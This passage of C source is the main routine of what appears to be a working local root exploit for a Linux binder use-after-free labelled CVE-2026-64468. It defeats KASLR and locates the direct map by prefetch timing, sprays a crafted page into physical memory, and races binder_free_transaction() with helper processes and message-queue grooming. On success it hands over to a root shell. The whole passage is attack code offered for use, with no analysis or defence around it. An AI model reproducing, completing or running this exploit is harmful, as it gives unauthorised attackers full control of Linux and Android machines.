	 * including after a win, which is the one moment it must not happen.
	 */
	(void)signal(SIGPIPE, SIG_IGN);
	cfg_seconds = env_uint("CVE64468_SECONDS", cfg_seconds);
	cfg_threads = env_uint("CVE64468_THREADS", cfg_threads);
	cfg_spray_percent = env_uint("CVE64468_SPRAY_PERCENT", cfg_spray_percent);
	cfg_kaslr_attempts = env_uint("CVE64468_KASLR_ATTEMPTS",
				      cfg_kaslr_attempts);
	cfg_call_offset_mb = env_uint("CVE64468_CALL_OFFSET_MB",
				      cfg_call_offset_mb);
	cfg_stagger_us = env_uint("CVE64468_STAGGER_US", cfg_stagger_us);
	cfg_b_delay_max_us = env_uint("CVE64468_DELAY_MAX_US", cfg_b_delay_max_us);
	cfg_b_delay_step_us = env_uint("CVE64468_DELAY_STEP_US",
				       cfg_b_delay_step_us);
	cfg_verbose = env_uint("CVE64468_VERBOSE", 0);
	cfg_quiet = env_uint("CVE64468_QUIET", 0);
	if (!cfg_threads || cfg_threads > MAX_THREADS)
		cfg_threads = 16U;
	if (cfg_spray_percent > 90U)
		cfg_spray_percent = 90U;
	if (!cfg_b_delay_step_us)
		cfg_b_delay_step_us = 15U;
	call_offset = (uint64_t)cfg_call_offset_mb << 20;
	resolve_helper_path(argv[0]);

	printf("CVE-2026-64468 - Linux binder use-after-free -> local root (x86_64)\n");
	printf("A. Ramos <[email protected]>\n\n");

	if (access("/dev/binder", R_OK | W_OK) < 0) {
		note("/dev/binder is not accessible: %s", strerror(errno));
		note("the target must have CONFIG_ANDROID_BINDER_IPC and a binder device");
		return qfail();
	}

	cpus = sysconf(_SC_NPROCESSORS_ONLN);
	cfg_cpus = cpus > 0 ? (unsigned int)cpus : 1U;
	if (cfg_cpus < 2U) {
		note("this needs at least two CPUs: the walker and the freeing thread must run concurrently");
		return qfail();
	}
	if (cfg_b_cpu_base >= cfg_cpus)
		cfg_b_cpu_base = 1U;

	/*
	 * SLUB hands a freed object back to the freeing CPU's per-CPU freelist
	 * first, so the pump has to allocate from the CPU that runs the deferred
	 * release.  That is this CPU, and the victim is pinned to it too.
	 */
	(void)pin_to_cpu(cfg_worker_cpu);

	qsay("analyzing target");
	note("stage 1: locating the kernel image (prefetch timing)");
	kernel_base = detect_kernel_base(cfg_kaslr_attempts);
	if (!kernel_base) {
		note("kernel text base not found; nothing else can work");
		return qfail();
	}
	note("kernel text  0x%016llx (KASLR offset 0x%llx)",
	     (unsigned long long)kernel_base,
	     (unsigned long long)(kernel_base - TEXT_MIN - 0x1000000ULL));

	note("stage 2: locating the direct map (prefetch timing, majority vote)");
	physmap_base = detect_physmap();
	if (!physmap_base) {
		note("direct map not found; refusing to fire at an unverified address");
		return qfail();
	}
	note("direct map   0x%016llx (anchor at physical 4 GiB)",
	     (unsigned long long)physmap_base);
	note("chain page   0x%016llx", (unsigned long long)(physmap_base +
							    call_offset));
	note("commit_creds 0x%016llx",
	     (unsigned long long)(kernel_base + OFF_COMMIT_CREDS));

	note("stage 3: spraying the crafted page across physical memory");
	if (stage_spray_chain() < 0)
		return qfail();

	/*
	 * Lay the helper down now, as an ordinary unprivileged file, so that the
	 * winning thread has nothing to do but relabel it.
	 */
	if (stage_helper() < 0) {
		note("cannot write %s: %s", helper_path, strerror(errno));
		return qfail();
	}

	build_msg_template();
	if (!msg_pump_init()) {
		note("no System V message queues; CONFIG_SYSVIPC is required");
		return qfail();
	}

	ctl = mmap(NULL, sizeof(*ctl), PROT_READ | PROT_WRITE,
		   MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	if (ctl == MAP_FAILED) {
		perror("mmap control");
		return qfail();
	}
	memset((void *)ctl, 0, sizeof(*ctl));

	qsay("running exploit (this may take a while)");
	note("stage 4: racing binder_free_transaction() (up to %us, %u walkers)",
	     cfg_seconds, cfg_threads);

	if (spawn(manager_process, &manager_status, &manager_control) < 0 ||
	    read_status(manager_status, &status) < 0 || status != 'R') {
		note("manager did not come up (status %c)", status);
		return qfail();
	}
	if (spawn(walker_process, &walker_status, &walker_control) < 0 ||
	    read_status(walker_status, &status) < 0 || status != 'R') {
		note("walker did not come up (status %c)", status);
		return qfail();
	}
	if (spawn(victim_process, &victim_status, &victim_control) < 0 ||
	    read_status(victim_status, &status) < 0 || status != 'R') {
		note("victim did not come up (status %c)", status);
		return qfail();
	}

	start = monotonic_seconds();
	last_report = start;
	while (monotonic_seconds() - start < (double)cfg_seconds &&
	       !__atomic_load_n(&ctl->rooted, __ATOMIC_ACQUIRE)) {
		__atomic_store_n(&ctl->go, 0U, __ATOMIC_RELEASE);
		/*
		 * The window is a couple of instructions wide, so no single
		 * delay is right; sweep it instead, one step per attempt.
		 */
		if (cfg_b_delay_max_us)
			__atomic_store_n(&ctl->b_delay_us,
					 (attempts * cfg_b_delay_step_us) %
						 (cfg_b_delay_max_us +
						  cfg_b_delay_step_us),
					 __ATOMIC_RELEASE);
		__atomic_store_n(&ctl->b_armed, 0U, __ATOMIC_RELEASE);
		__atomic_store_n(&ctl->p_armed, 0U, __ATOMIC_RELEASE);
		__atomic_store_n(&ctl->b_done, 0U, __ATOMIC_RELEASE);
		__atomic_store_n(&ctl->p_done, 0U, __ATOMIC_RELEASE);

		/*
		 * The victim has to be parked in its per-thread reads before the
		 * walker starts sending, otherwise its looper-flagged main
		 * thread can dequeue a parent transaction meant for a worker.
		 */
		send_status(victim_control, 'a');
		send_status(manager_control, 'a');
		if (read_status(manager_status, &status) < 0 || status != 's' ||
		    read_status(victim_status, &status) < 0 || status != 's')
			break;
		send_status(walker_control, 'a');
		if (read_status(walker_status, &status) < 0 || status != 's')
			break;
		(void)wait_for_count(&ctl->b_armed, cfg_threads, 15000U);
		(void)wait_for_count(&ctl->p_armed, cfg_threads, 15000U);
		__atomic_store_n(&ctl->go, 1U, __ATOMIC_RELEASE);

		msg_pump(&ctl->b_done, cfg_threads);
		if (wait_for_count(&ctl->b_done, cfg_threads, 20000U) < 0 ||
		    wait_for_count(&ctl->p_done, 1U, 20000U) < 0) {
			msg_pump_drain();
			break;
		}
		msg_pump_drain();
		if (read_status(walker_status, &status) < 0 || status != 'd' ||
		    read_status(victim_status, &status) < 0 || status != 'd')
			break;
		attempts++;

		if (monotonic_seconds() - last_report >= 60.0) {
			last_report = monotonic_seconds();
			if (cfg_quiet) {
				printf("[*] still working... (%.0fs elapsed)\n",
				       monotonic_seconds() - start);
				fflush(stdout);
			}
			note("still racing: %u attempts, %u stack walks, %.0fs elapsed",
			     attempts,
			     __atomic_load_n(&ctl->walked, __ATOMIC_RELAXED),
			     monotonic_seconds() - start);
		}
	}

	send_status(walker_control, 'q');
	send_status(victim_control, 'q');
	send_status(manager_control, 'q');
	__atomic_store_n(&ctl->quit, 1U, __ATOMIC_RELEASE);
	(void)usleep(300000);
	msg_pump_destroy();
	if (physmap_spray)
		(void)munmap(physmap_spray, physmap_spray_bytes);
	while (waitpid(-1, NULL, WNOHANG) > 0)
		;

	if (!__atomic_load_n(&ctl->rooted, __ATOMIC_ACQUIRE)) {
		(void)unlink(helper_path);
		note("no hit in %u attempts / %u stack walks over %.0fs",
		     attempts, __atomic_load_n(&ctl->walked, __ATOMIC_RELAXED),
		     monotonic_seconds() - start);
		note("the race is probabilistic; run it again");
		return qfail();
	}
	if (!__atomic_load_n(&ctl->helper_ready, __ATOMIC_ACQUIRE)) {
		note("root was reached but the helper was never relabelled");
		return qfail();
	}

	qsay("success");
	note("hit after %u attempts / %u stack walks in %.0fs", attempts,
	     __atomic_load_n(&ctl->walked, __ATOMIC_RELAXED),
	     monotonic_seconds() - start);
	note("handing over to a root shell");
	execl(helper_path, helper_path, NULL);
	perror("execl");
	return qfail();
}